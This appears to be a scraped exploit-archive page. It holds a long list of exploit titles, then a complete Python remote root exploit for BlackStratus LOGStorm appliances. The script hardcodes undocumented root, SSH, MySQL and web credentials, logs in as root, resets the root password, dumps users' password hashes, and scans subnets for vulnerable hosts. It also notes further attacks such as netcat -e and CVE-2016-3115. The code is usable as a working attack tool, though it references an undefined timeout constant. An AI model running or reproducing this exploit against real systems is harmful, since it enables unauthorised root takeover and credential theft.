
5 new exploits Foxit Reader 4.1.1 - Stack Overflow (Egghunter Mod) Foxit Reader 4.1.1 - Stack Overflow (Egghunter) iSQL 1.0 - Shell Command Injection iSQL 1.0 - Command Injection Microsoft Authorization Manager 6.1.7601 - 'azman' XML External Entity Injection Microsoft Excel Starter 2010 - XML External Entity Injection Microsoft Windows Media Center 6.1.7600 - 'ehshell.exe' XML External Entity Injection Samba 2.2.x - Remote Root Buffer Overflow Samba 2.2.x - Buffer Overflow PoPToP PPTP 1.1.4-b3 - Remote Root Exploit Snort 1.9.1 - 'p7snort191.sh' Remote Root Exploit PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Root Exploit PoPToP PPTP 1.1.4-b3 - Remote Command Execution Snort 1.9.1 - 'p7snort191.sh' Remote Command Execution PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Command Execution Sendmail 8.12.8 - Prescan() BSD Remote Root Exploit Sendmail 8.12.8 - Prescan() BSD Remote Command Execution WsMp3d 0.x - Remote Root Heap Overflow WsMp3d 0.x - Heap Overflow Atftpd 0.6 - 'atftpdx.c' Remote Root Exploit Atftpd 0.6 - 'atftpdx.c' Remote Command Execution Samba 2.2.8 - (Brute Force Method) Remote Root Exploit Samba 2.2.8 - (Brute Force Method) Remote Command Execution WU-FTPD 2.6.2 - Off-by-One Remote Root Exploit WU-FTPD 2.6.2 - Off-by-One Remote Command Execution WU-FTPD 2.6.2 - Remote Root Exploit WU-FTPD 2.6.2 - Remote Command Execution WU-FTPD 2.6.0 - Remote Root Exploit WU-FTPD 2.6.0 - Remote Command Execution LPRng 3.6.22/23/24 - Remote Root Exploit LPRng 3.6.22/23/24 - Remote Command Execution LPRng 3.6.24-1 - Remote Root Exploit LPRng 3.6.24-1 - Remote Command Execution WU-FTPD 2.6.1 - Remote Root Exploit SSH (x2) - Remote Root Exploit WU-FTPD 2.6.1 - Remote Command Execution SSH (x2) - Remote Command Execution BSD TelnetD - Remote Root Exploit (1) BSD TelnetD - Remote Command Execution (1) Sendmail with clamav-milter < 0.91.2 - Remote Root Exploit Sendmail with clamav-milter < 0.91.2 - Remote Command Execution ProFTPd IAC 1.3.x - Remote Root Exploit ProFTPd IAC 1.3.x - Remote Command Execution Exim 4.63 - Remote Root Exploit Exim 4.63 - Remote Command Execution Splunk - Remote Root Exploit Splunk - Remote Command Execution FreeBSD OpenSSH 3.5p1 - Remote Root Exploit FreeBSD OpenSSH 3.5p1 - Remote Command Execution HP Data Protector (Linux) - Remote Root Shell HP Data Protector (Linux) - Remote Command Execution FreeBSD ftpd and ProFTPd on FreeBSD - Remote Root Exploit FreeBSD ftpd and ProFTPd on FreeBSD - Remote Command Execution Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion (Root Remote Code Execution) Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion (Remote Code Execution) BSD TelnetD - Remote Root Exploit (2) BSD TelnetD - Remote Command Execution (2) Symantec Web Gateway 5.0.3.18 - Local/Remote File Inclusion (Root Remote Code Execution) Symantec Web Gateway 5.0.3.18 - Local/Remote File Inclusion (Remote Command Execution) Sendmail 8.6.9 IDENT - Remote Root Exploit Sendmail 8.6.9 IDENT - Remote Command Execution Sitecom MD-25x - Multiple Vulnerabilities / Reverse Root Shell Sitecom MD-25x - Multiple Vulnerabilities / Reverse Root Exploit ManageEngine Security Manager Plus 5.5 build 5505 - Remote SYSTEM/root SQL Injection ManageEngine Security Manager Plus 5.5 build 5505 - Remote SYSTEM/Root SQL Injection H-Sphere Webshell 2.4 - Remote Root Exploit H-Sphere Webshell 2.4 - Remote Command Execution MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Root Exploit MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution Ubiquiti AirOS 5.5.2 - Remote Authenticated Root Command Execution Ubiquiti AirOS 5.5.2 - Authenticated Remote Command Execution Allied Telesis AT-MCF2000M 3.0.2 - Gaining Root Shell Access Allied Telesis AT-MCF2000M 3.0.2 - Remote Command Execution Novell NCP - Unauthenticated Remote Root Exploit Novell NCP - Unauthenticated Remote Command Execution Seowonintech Devices - Remote Root Exploit Seowonintech Devices - Remote Command Execution ASUS RT-AC66U - acsd Parameter Remote Root Shell ASUS RT-AC66U - 'acsd' Parameter Remote Command Execution ASUS RT-N56U - Remote Root Shell Buffer Overflow (ROP) ASUS RT-N56U - Remote Buffer Overflow (ROP) NovaSTOR NovaNET 12.0 - Remote Root Exploit NovaSTOR NovaNET 12.0 - Remote Command Execution ALCASAR 2.8 - Remote Root Code Execution ALCASAR 2.8 - Remote Code Execution F5 iControl - Remote Root Command Execution (Metasploit) F5 iControl - Remote Command Execution (Metasploit) Barracuda Firmware 5.0.0.012 - Authenticated Remote Root Exploit (Metasploit) Barracuda Firmware 5.0.0.012 - Authenticated Remote Command Execution (Metasploit) Seagate Central 2014.0410.0026-F - Remote Root Exploit Seagate Central 2014.0410.0026-F - Remote Command Execution Proxmox VE 3/4 - Insecure Hostname Checking Remote Root Exploit Proxmox VE 3/4 - Insecure Hostname Checking Remote Command Execution Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Authenticated Remote Root Exploit (Metasploit) Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Authenticated Remote Command Execution (Metasploit) Barracuda Web App Firewall 8.0.1.008/Load Balancer 5.4.0.004 - Authenticated Remote Root Exploit (Metasploit) (3) Barracuda Web Application Firewall 8.0.1.008 - Authenticated Remote Root Exploit (Metasploit) Barracuda Web App Firewall 8.0.1.008/Load Balancer 5.4.0.004 - Authenticated Remote Command Execution (Metasploit) (3) Barracuda Web Application Firewall 8.0.1.008 - Authenticated Remote Command Execution (Metasploit) BlackStratus LOGStorm 4.5.1.35/4.5.1.96 - Remote Code Execution Alcatel Lucent Omnivista 8770 - Remote Code Execution Windows x86 - Password Protected TCP Bind Shell (637 bytes) Windows x86 - Password Protected TCP Bind Shellcode (637 bytes) Windows x86 - URLDownloadToFileA() + SetFileAttributesA() + WinExec() + ExitProcess() Shellcode (394 bytes) Windows x86 - URLDownloadToFileA() / SetFileAttributesA() / WinExec() / ExitProcess() Shellcode (394 bytes) Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon Shellcode (83_ 148_ 177 bytes) Linux/x86-64 - Syscall Persistent Bind Shell / Multi-terminal / Password / Daemon Shellcode (83_ 148_ 177 bytes) Linux/x86-64 - Subtle Probing Reverse Shell_ Timer_ Burst_ Password_ Multi-Terminal Shellcode (84_ 122_ 172 bytes) Linux/x86-64 - Subtle Probing Reverse Shell / Timer_ Burst / Password / Multi-Terminal Shellcode (84_ 122_ 172 bytes) Linux/x86 - NetCat Bind Shell with Port (44 / 52 bytes) Linux/x86 - zsh TCP Bind Shell Port 9090 (96 bytes) Linux/x86 - NetCat Bind Shellcode with Port (44 / 52 bytes) Linux/x86 - zsh TCP Port 9090 Bind Shellcode (96 bytes) Astium VoIP PBX 2.1 build 25399 - Multiple Vulnerabilities/Remote Root Exploit Astium VoIP PBX 2.1 build 25399 - Multiple Vulnerabilities/Remote Command Execution SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x - Remote Root/SYSTEM Exploit SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x - Remote Command Execution D-Link DSR Router Series - Remote Root Shell D-Link DSR Router Series - Remote Command Execution Alacate-Lucent OmniVista 4760 - Multiple Cross-Site Scripting Vulnerabilities Alcatel Lucent Omnivista 4760 - Multiple Cross-Site Scripting Vulnerabilities ALCASAR 2.8.1 - Remote Root Code Execution ALCASAR 2.8.1 - Remote Code Execution SevOne NMS 5.3.6.0 - Remote Root Exploit SevOne NMS 5.3.6.0 - Remote Command Execution Iris ID IrisAccess ICU 7000-2 - Remote Root Command Execution Iris ID IrisAccess ICU 7000-2 - Remote Command Execution NUUO NVRmini 2 3.0.8 - Remote Root Exploit NUUO NVRmini 2 3.0.8 - Remote Code Execution EyeLock nano NXT 3.5 - Remote Root Exploit EyeLock nano NXT 3.5 - Remote Code Execution InfraPower PPS-02-S Q213V1 - Unauthenticated Remote Root Command Execution InfraPower PPS-02-S Q213V1 - Unauthenticated Remote Command Execution
225 lines
7.5 KiB
Python
Executable file
225 lines
7.5 KiB
Python
Executable file
#!/usr/bin/python
|
|
# logstorm-root.py
|
|
#
|
|
# BlackStratus LOGStorm Remote Root Exploit
|
|
#
|
|
# Jeremy Brown [jbrown3264/gmail]
|
|
# Dec 2016
|
|
#
|
|
# -Synopsis-
|
|
#
|
|
# "Better Security and Compliance for Any Size Business"
|
|
#
|
|
# BlackStratus LOGStorm has multiple vulnerabilities that allow a remote unauthenticated user, among
|
|
# other things, to assume complete control over the virtual appliance with root privileges. This is
|
|
# possible due to multiple network servers listening for network connections by default, allowing
|
|
# authorization with undocumented credentials supported by appliance's OS, web interface and sql server.
|
|
#
|
|
# -Tested-
|
|
#
|
|
# v4.5.1.35
|
|
# v4.5.1.96
|
|
#
|
|
# -Usage-
|
|
#
|
|
# Dependencies: pip install paramiko MySQL-python
|
|
#
|
|
# There are (5) actions provided in this script: root, reset, sql, web and scan.
|
|
#
|
|
# [root] utilizes bug #1 to ssh login to a given <host> as root and run the 'id' command
|
|
# [reset] utilizes bug #2 to ssh login to a given <host> as privileged htinit user and resets the root password
|
|
# [sql*] utilizes bug #3 to sql login to a given <host> as privileged htr user and retrieve web portal credentials
|
|
# [web] utilizes bug #4 to http login to a given <host> as hardcoded webserveruser (presumably) admin account
|
|
# [scan] scans a given <host>/24 for potentially vulnerable appliances
|
|
#
|
|
# *sql only works remotely before license validation as afterwards sql server gets firewalled, becoming local only.
|
|
#
|
|
# Note: this exploit is not and cannot be weaponized simply because exploits are not weapons.
|
|
#
|
|
# -Fixes-
|
|
#
|
|
# BlackStratus did not coherently respond to product security inquiries, so there's no official fix. But
|
|
# customers may (now) root the appliance themselves to change the passwords, disable root login, firewall
|
|
# network services or remove additional user accounts to mitigate these vulnerabilities.. or choose another
|
|
# product altogether because this appliance, as of today, simply adds too much attack surface to the network.
|
|
#
|
|
# -Bonuses-
|
|
#
|
|
# 1) Another account's (htftp/htftp) shell is set to /bin/false, which affords at least a couple attacks
|
|
#
|
|
# 1.1) The appliance is vulnerable to CVE-2016-3115, which we can use to read/write to arbitrary files
|
|
# 1.2) We can use the login to do port forwarding and hit local services, such as the Java instance running
|
|
# in debug mode and probably exploitable with jdwp-shellifer.py (also netcat with -e is installed by default!)
|
|
#
|
|
# 2) More sql accounts: htm/htm_pwd and tvs/tvs_pwd
|
|
#
|
|
|
|
import sys
|
|
import socket
|
|
import time
|
|
from paramiko import ssh_exception
|
|
import paramiko
|
|
import MySQLdb
|
|
import httplib
|
|
import urllib
|
|
|
|
SSH_BANNER = "_/_/_/_/"
|
|
SSH_PORT = 22
|
|
MYSQL_PORT = 3306
|
|
MYSQL_DB = "htr"
|
|
MYSQL_CMD = "select USER_ID,hex(MD5_PASSWORD) from users;"
|
|
WEB_URL = "/tvs/layout/j_security_check"
|
|
|
|
ROOT_CREDS = ["root", "3!acK5tratu5"]
|
|
HTINIT_CREDS = ["htinit", "htinit"]
|
|
MYSQL_CREDS = ["htr", "htr_pwd"]
|
|
WEB_CREDS = ["webserviceuser", "donotChangeOnInstall"]
|
|
|
|
|
|
def main():
|
|
if(len(sys.argv) < 2):
|
|
print("Usage: %s <action> <host>" % sys.argv[0])
|
|
print("Eg. %s root 10.1.1.3\n" % sys.argv[0])
|
|
print("Actions: root reset sql web scan")
|
|
return
|
|
|
|
action = str(sys.argv[1])
|
|
host = str(sys.argv[2])
|
|
|
|
if("scan" not in action):
|
|
try:
|
|
socket.inet_aton(host)
|
|
except socket.error:
|
|
print("[-] %s doesn't look like a valid ip address" % host)
|
|
return
|
|
|
|
ssh = paramiko.SSHClient()
|
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
|
|
#
|
|
# ssh login as root and execute 'id'
|
|
#
|
|
if(action == "root"):
|
|
try:
|
|
ssh.connect(host, SSH_PORT, ROOT_CREDS[0], ROOT_CREDS[1], timeout=SSH_TIMEOUT)
|
|
except ssh_exception.AuthenticationException:
|
|
print("\n[-] Action failed, could not login with root credentials\n")
|
|
return
|
|
|
|
print("[+] Success!")
|
|
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("id")
|
|
print(ssh_stdout.readline())
|
|
|
|
return
|
|
|
|
#
|
|
# ssh login as htinit and reset root password to the default
|
|
#
|
|
elif(action == "reset"):
|
|
print("[~] Resetting password on %s..." % host)
|
|
|
|
try:
|
|
ssh.connect(host, SSH_PORT, HTINIT_CREDS[0], HTINIT_CREDS[1], timeout=SSH_TIMEOUT)
|
|
except ssh_exception.AuthenticationException:
|
|
print("\n[-] Reset failed, could not login with htinit credentials\n")
|
|
return
|
|
|
|
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("")
|
|
|
|
ssh_stdin.write("4" + "\n")
|
|
time.sleep(2)
|
|
ssh_stdin.write(ROOT_CREDS[1] + "\n")
|
|
time.sleep(2)
|
|
ssh_stdin.write("^C" + "\n")
|
|
time.sleep(1)
|
|
|
|
print("[+] Appliance root password should now be reset")
|
|
|
|
return
|
|
|
|
#
|
|
# sql login as htr and select user/hash columns from the web users table
|
|
#
|
|
elif(action == "sql"):
|
|
print("[~] Asking %s for it's web users and their password hashes..." % host)
|
|
|
|
try:
|
|
db = MySQLdb.connect(host=host, port=MYSQL_PORT, user=MYSQL_CREDS[0], passwd=MYSQL_CREDS[1], db=MYSQL_DB, connect_timeout=3)
|
|
except MySQLdb.Error as error:
|
|
print("\n[-] Failed to connect to %s:\n%s\n" % (host, error))
|
|
return
|
|
|
|
cursor = db.cursor()
|
|
cursor.execute(MYSQL_CMD)
|
|
|
|
data = cursor.fetchall()
|
|
|
|
print("[+] Got creds!\n")
|
|
|
|
for row in data:
|
|
print("USER_ID: %s\nMD5_PASSWORD: %s\n" % (row[0], row[1]))
|
|
|
|
db.close()
|
|
|
|
return
|
|
|
|
#
|
|
# http login as webserviceuser and gain presumably admin privileges
|
|
#
|
|
elif(action == "web"):
|
|
print("[~] Attempting to login as backdoor web user at %s..." % host)
|
|
|
|
try:
|
|
client = httplib.HTTPSConnection(host)
|
|
except:
|
|
print("[-] Couldn't establish SSL connection to %s" % host)
|
|
return
|
|
|
|
params = urllib.urlencode({"j_username" : WEB_CREDS[0], "j_password" : WEB_CREDS[1]})
|
|
headers = {"Host" : host, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length" : "57"}
|
|
|
|
client.request("POST", WEB_URL, params, headers)
|
|
|
|
response = client.getresponse()
|
|
|
|
if(response.status == 408):
|
|
print("[+] Success!")
|
|
else:
|
|
print("[-] Service returned %d %s, which is actually not our criteria for success" % (response.status, response.reason))
|
|
|
|
return
|
|
|
|
#
|
|
# check the ssh network banner to identify appliances within range of <host>/24
|
|
#
|
|
elif(action == "scan"):
|
|
count = 0
|
|
print("[~] Scanning %s for LOGStorm appliances..." % sys.argv[2])
|
|
|
|
for x in range(1,255):
|
|
banner = None
|
|
|
|
#
|
|
# 10.1.1.1/24 -> 10.1.1.[x]
|
|
#
|
|
host = str(sys.argv[2]).split('/')[0][:-1] + str(x)
|
|
|
|
try:
|
|
ssh.connect(host, SSH_PORT, "user-that-doesnt-exist", "pass-that-doesnt-work", timeout=2)
|
|
except ssh_exception.NoValidConnectionsError:
|
|
pass
|
|
except socket.timeout:
|
|
pass
|
|
except ssh_exception.AuthenticationException as error:
|
|
banner = ssh._transport.get_banner()
|
|
if banner and SSH_BANNER in banner:
|
|
print("[!] %s\n" % host)
|
|
count+=1
|
|
|
|
print("[+] Found %d appliance(s)"% count)
|
|
|
|
return
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|